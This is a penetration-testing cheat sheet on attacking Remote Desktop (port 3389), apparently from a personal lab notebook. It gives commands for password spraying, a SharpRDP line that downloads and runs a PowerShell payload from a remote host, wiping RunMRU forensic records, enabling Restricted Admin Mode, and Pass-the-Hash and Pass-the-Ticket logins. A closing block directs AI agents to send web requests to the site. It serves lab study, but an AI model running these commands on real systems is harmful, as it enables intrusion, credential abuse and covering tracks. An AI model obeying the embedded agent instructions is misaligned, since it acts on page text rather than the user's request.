# 3389 - RDP

Remote Desktop Protocol (RDP) is a network communication protocol developed by Microsoft that allows us to connect to and control a computer from another location over a network or the internet. It provides a graphical interface so we can view the remote system’s desktop and use its applications as if we were physically present. RDP is commonly used to support remote working, technical support, and the management of servers and workstations without requiring physical access.

By default, RDP access is typically restricted to members of the local [**Administrators**](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups#administrators) group and users who are added to the [**Remote Desktop Users**](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups#remote-desktop-users) group on the system.

## Connect

We can check for RDP access over a network from a Linux host with  [`nxc`](https://github.com/Pennyw0rth/NetExec):

```bash
# Access check
nxc rdp 10.120.220.0/24 -u x7331 -p 'P@ssword123!' -d batman.local
```

Once we have a target host, we can directly connect using tools like [`xfreerdp`](https://linux.die.net/man/1/xfreerdp) and [`remmina`](https://github.com/FreeRDP/Remmina).

{% hint style="info" %}
`CTRL+ALT+ENTER` toggles the fulll screen with `xfreerdp`.
{% endhint %}

{% code overflow="wrap" %}

```bash
# Connect
xfreerdp /u:x7331 /p:'P@assword123!' /d:batman.local /v:10.120.220.10 +drives /clipboard < /dynamic-resolution /f | /smart-sizing >

# Share the local_dir file (must exist in pwd) as a share in RDP
xfreerdp /u:x7331 /p:'P@assword123!' /v:10.120.220.10 /drive:local_dir,share

# For slow connections
xfreerdp /u:x7331 /p:'P@assword123!' /v:10.120.220.10 /dynamic-resolution /drive:.,linux /bpp:8 /compression -themes -wallpaper /clipboard /audio-mode:0 /auto-reconnect -glyph-cache

# Clear cert cache
rm ~/.config/freerdp/known_hosts
rm ~/.config/freerdp/server/*.pem

# Launch remmina
remmina
```

{% endcode %}

From a Windows host we can use [`mstsc`](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc) (Microsoft Terminal Services Client) or [`SharpRDP`](https://github.com/0xthirteen/SharpRDP). The latter is used for more covert operations, as instead of launching a visible desktop session, it establishes an authenticated RDP connection in the background and execute commands remotely.

{% code overflow="wrap" %}

```shell
# Launch RDP client
mstsc.exe

# Download and execute a payload (commands are limited to 259 chars)
.\SharpRDP.exe computername=SQL01 command="powershell.exe IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.101/s')" username=batman\x7331 password=Passw0rd123!

# Use restricted admin mode (executes cmd under current context)
.\SharpRDP.exe computername=batman.local command="C:\Temp\file.exe"
```

{% endcode %}

`SharpRDP` leaves traces of command execution within the [`RunMRU`](https://www.cybertriage.com/blog/how-to-investigate-runmru-2025/#What%20Is%20RunMRU%20Registry%20Key?) registry key, but we can use [CleanRunMRU](https://github.com/0xthirteen/CleanRunMRU) to clean all command records. To compile the tool, we can use the built-in Microsoft [csc](https://learn.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/) compiler tool.

{% hint style="info" %}
The `RunMRU` (Most Recently Used) registry key in Windows which stores the last 26 commands entered via the `Win+R` Run dialog. It is a critical, per-user forensic artifact used to track executed programs and scripts.
{% endhint %}

```bash
# Compile the binary
C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe .\\CleanRunMRU.cs

# Clear commands
.\\CleanRunMRU.exe  clearall
```

## Attacks

### Connection Files

Check for connection details within `.rdp` files.

### Password Spraying

We can perform a password spray attack with `nxc` or [`hydra`](https://github.com/vanhauser-thc/thc-hydra).

```bash
nxc rdp 192.168.221.202 -u rdp_users -p 'SuperS3cure1337#' -d batman.local

hydra -L rdp_users -p 'SuperS3cure1337#' rdp://192.168.221.202:3389
```

## Lateral Movement (Restricted Admin Mode)

Restricted Admin Mode is a security feature introduced by Microsoft to reduce the risk of credential theft during RDP sessions. Under normal circumstances, when we connect to a remote system using RDP, the logon is treated as an **interactive session**. Restricted Admin Mode changes this behaviour by performing a **network logon** instead.

{% hint style="info" %}
An **interactive logon** provides full credentials to the remote system, which means reusable authentication material like NTLM hashes or Kerberos tickets may be stored in memory and exposed if the host is compromised.

In contrast, a **network logon** does not store reusable credentials on the target system, which reduces the risk of credential theft. However, this type of logon allows authentication using only NTLM hashes or Kerberos tickets rather than requiring the user’s password.
{% endhint %}

However, this protection introduces an important trade-off. Because the remote system does not require reusable credentials, authentication can occur using only NTLM hashes or Kerberos tickets. As a result, **attackers who possess a stolen hash or ticket can authenticate to remote systems without knowing the user’s password**. This enables techniques such as Pass-the-Hash (PtH) and Pass-the-Ticket (PtT) for lateral movement over RDP when Restricted Admin Mode is enabled.

This mode is generally limited to accounts with administrative privileges, such as local or domain administrators, since the remote system relies on the existing security context rather than creating a full credential session. In domain environments, members of the Domain Admins group often have local administrator rights on domain-joined systems by default, allowing them to use this feature unless restricted through policy.

<table><thead><tr><th width="283">Feature</th><th width="164">Interactive Logon</th><th width="295">Network Logon</th></tr></thead><tbody><tr><td>Password required</td><td>Yes</td><td>Not required if hash/ticket available</td></tr><tr><td>NTLM hash allowed</td><td>No</td><td>Yes (PtH)</td></tr><tr><td>Kerberos ticket allowed</td><td>No</td><td>Yes (PtT)</td></tr><tr><td>Credential caching on remote host</td><td>Stored in memory</td><td>Not cached</td></tr><tr><td>Typical use</td><td>Standard RDP / console logon</td><td>Restricted Admin Mode / remote network authentication</td></tr><tr><td>Admin accounts required</td><td>Optional</td><td>Must be admin on target</td></tr></tbody></table>

We can check if Restricted Admin Mode is enabled by querying the registry with [`reg`](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-query):

{% code overflow="wrap" %}

```shellscript
# Check if Restricted Admin Mode is enabled
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin
# 0 = enabled, 1/error = disabled

# Enable Restricted Admin Mode
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 0 /t REG_DWORD
```

{% endcode %}

### Pass-the-Hash

We can perform a PtH attack from Linux using `xfreerdp`.

```shellscript
xfreerdp /u:x7331 /pth:62EBA30320E250ECA185AA1327E78AEB /d:batman.local /v:10.10.10.52
```

### Pass-the-Ticket

For the PtT attack, we can use [`rubeus`](https://github.com/GhostPack/Rubeus) and `mstsc` from a Windows host:

1. Create a **sacrificial process** to generate a new and isolated logon session that is separate from the current user context. In this way, Kerberos tickets can be injected without affecting the existing credentials.&#x20;
2. Use the `rc4` value (NTLM hash) not for direct authentication, but to request a TGT from the DC.
3. Inject the TGT into memory and used it for subsequent authentication.

{% code overflow="wrap" %}

```shellscript
# Create a sacrificial process
.\Rubeus.exe createnetonly /program:powershell.exe /show

# Request a TGT with the target user's NTLM hash
.\Rubeus.exe asktgt /user:helen /rc4:62EBA30320E250ECA185AA1327E78AEB /domain:inlanefreight.local /ptt

# Launch RDP under the new security context
mstsc.exe /restrictedAdmin 
```

{% endcode %}

## Troubleshooting

{% code overflow="wrap" %}

```bash
$ xfreerdp /u:molly /p:Pass123 /v:10.129.1.128 /d:retro2.vl /smart-sizing
...
[22:53:19:961] [8916:000022d6] [ERROR][com.freerdp.crypto] - [freerdp_tls_handshake]: BIO_do_handshake failed
[22:53:19:961] [8916:000022d6] [ERROR][com.freerdp.core] - [transport_default_connect_tls]: ERRCONNECT_TLS_CONNECT_FAILED [0x00020008]

$ xfreerdp /u:molly /p:Pass123 /v:10.129.1.128 /d:retro2.vl /smart-sizing /tls:seclevel:0
```

{% endcode %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://x7331.gitbook.io/boxes/services/tcp/remote-access/3389-rdp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
